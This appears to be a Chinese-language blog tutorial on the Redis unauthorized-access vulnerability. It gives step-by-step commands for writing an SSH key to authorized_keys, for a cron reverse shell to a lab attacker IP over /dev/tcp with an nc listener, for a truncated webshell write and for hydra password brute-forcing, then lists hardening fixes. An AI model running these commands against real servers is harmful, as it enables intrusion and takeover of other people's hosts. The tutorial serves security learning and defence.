redis安全1

redis介紹(來自百度百科)

Redis是一個開源的使用ANSI C語言編寫、支持網絡、可基於內存亦可持久化的日誌型、 Key-Value數據庫。和Memcached類似,它支持存儲的value 類型相對更多,包括 string(字符串)、list ( 鏈表)、 set(集合)、zset(sorted set – 有序集合)和 hash(哈希類型)。這些數據類型都支持push/pop 、 add/remove 及取交集並集和差集及更豐富的操作,而且這些操作都是原子性的。在此基礎上, redis支持各種不同方式的排序。與 memcached 一樣,爲了保證效率,數據都是緩存在內存中。區別的是 redis 會週期性的把更新的數據寫入磁盤或者把修改操作寫入追加的記錄文件,並且在此基礎上實現了 master-slave ( 主從)同步。

漏洞介紹

Redis因配置不當可以導致未授權訪問,被攻擊者惡意利用。當前流行的針對Redis未授權訪問的一種新型攻擊方式,在特定條件下,如果Redis以root身份運行,黑客可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務器,可導致服務器權限被獲取和數據刪除、泄露或加密勒索事件發生,嚴重危害業務正常服務

Redis安全漏洞影響

一旦入侵成功,Redis數據會丟失,攻擊者可直接添加賬號用於ssh遠程登錄控制服務器,會給用戶的 Redis 運行環境以及 Linux 主機造成安全風險,引發重要數據刪除、泄露或加密勒索事件發生。

環境搭建

下載redis
Wget http://download.redis.io/releases/redis-2.6.14.tar.gz
解壓
tar zxvf redis-2.6.14.tar.gz
cd redis-2.6.14
編譯
make

cd src
安裝
make install
啓動
redis-server &
連接測試
redis-cli

漏洞驗證

redis默認使用的是6379端口,可以使用nmap來驗證這個漏洞
Nmap -A -p 6379 –script redis-info 192.168.10.129

漏洞利用

獲取敏感信息
Nmap掃描後發現主機的6379端口對外開放,就可以用本地Redis遠程連接服務器(redis在開放往外網的情況下(默認配置是bind 127.0.0.1,只允許本地訪問,如果配置了其他網卡地址那麼就可以網絡訪問),默認配置下是空口令,端口爲6379)連接後可以獲取Redis敏感數據。
redis-cli -h 漏洞服務器IP
info

可以看到Redis的版本和服務器上內核版本信息,如果是新版的Redis2.8以後的版本還可以看到Redis配置文件的絕對路徑

寫入SSH公鑰,獲取操作系統權限原理
在數據庫中插入一條數據,將本機的公鑰作爲value,key值隨意,然後通過修改數據庫的默認路徑爲/root/.ssh和默認的緩衝文件authorized.keys,把緩衝的數據保存在文件裏,這樣就可以再服務器端的/root/.ssh下生一個授權的key。

利用條件

1.redis對外開放,且未授權訪問(默認配置)
2.服務器的ssh對外開放,可通過key登錄
攻擊詳情
生成公鑰
在攻擊電腦上生成自己的公鑰,一直按回車不用輸入任何東西

ssh-keygen -t rsa

將公鑰導入key.txt文件(前後用\n換行,避免和Redis裏其他緩存數據混合),再把key.txt文件內容寫入目標主機的緩衝裏
(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > key.txt
cat /root/.ssh/key.txt | ./redis-cli -h 漏洞服務器IP -x set xxx

連接漏洞服務器
redis-cli -h 漏洞服務器IP
設置redis的備份路徑爲/root/.ssh和保存文件名authorized_keys
config set dir /root/.ssh
config set dbfilename authorized_keys
save

使用SSH連接漏洞服務器
ssh 漏洞服務器IP

可以看到不用密碼就可以直接遠程登錄

利用crontab反彈shell
端口監聽
在攻擊者服務器上監聽一個端口(任意端口)
nc -lvnp 4444

攻擊詳情

連接redis,寫入反彈shell
redis-cli -h 192.168.152.128
set xxx “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.152.129/4444 0>&1\n\n”
config set dir /var/spool/cron
config set dbfilename root
save
1分鐘後客戶端這邊收到centos的反彈shell

獲取web服務的webshell

當redis權限不高時,並且服務器開着web服務,在redis有web目錄寫權限時,可以嘗試往web路徑寫webshell。
redis-cli -h 192.168.152.128
config set dir /var/www/html
set xxx “\n\n\n

利用hydra暴力破解redis的密碼

使用hydra工具可以對redis進行暴力破解
hydra -P passwd.txt redis://漏洞服務器IP

修復方案

禁止一些高危命令(重啓redis才能生效)
修改 redis.conf 文件,禁用遠程修改 DB 文件地址
rename-command FLUSHALL “”
rename-command CONFIG “”
rename-command EVAL “”
或者通過修改redis.conf文件,改變這些高危命令的名稱
rename-command FLUSHALL “name1”
rename-command CONFIG “name2”
rename-command EVAL “name3”

以低權限運行 Redis 服務(重啓redis才能生效)
爲 Redis 服務創建單獨的用戶和家目錄,並且配置禁止登陸groupadd -r redis && useradd -r -g redis redis

爲 Redis 添加密碼驗證(重啓redis才能生效)requirepass mypassword
(注意redis不要用-a參數,明文輸入密碼,連接後使用auth認證)

禁止外網訪問 Redis(重啓redis才能生效)修改 redis.conf 文件,添加或修改,使得 Redis 服務只在當前主機可用
bind 127.0.0.1
在redis3.2之後,redis增加了protected-mode,在這個模式下,非綁定IP或者沒有配置密碼訪問時都會報錯

修改默認端口
修改配置文件redis.conf文件

Port 6379
默認端口是6379,可以改變成其他端口(不要衝突就好)

保證 authorized_keys 文件的安全
爲了保證安全,您應該阻止其他用戶添加新的公鑰。
將 authorized_keys 的權限設置爲對擁有者只讀,其他用戶沒有任何權限:

chmod 400 ~/.ssh/authorized_keys
爲保證 authorized_keys 的權限不會被改掉,您還需要設置該文件的 immutable 位權限:

chattr +i ~/.ssh/authorized_keys
然而,用戶還可以重命名 ~/.ssh,然後新建新的 ~/.ssh 目錄和 authorized_keys 文件。要避免這種情況,需要設置 ~./ssh 的 immutable 權限:

chattr +i ~/.ssh
設置防火牆策略
如果正常業務中Redis服務需要被其他服務器來訪問,可以設置iptables策略僅允許指定的IP來訪問Redis服務。

安全補丁
不定期關注最新軟件版本,並升級redis到最新版,防止新漏洞被利用。

參考鏈接
https://thief.one/2017/12/08/1/

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章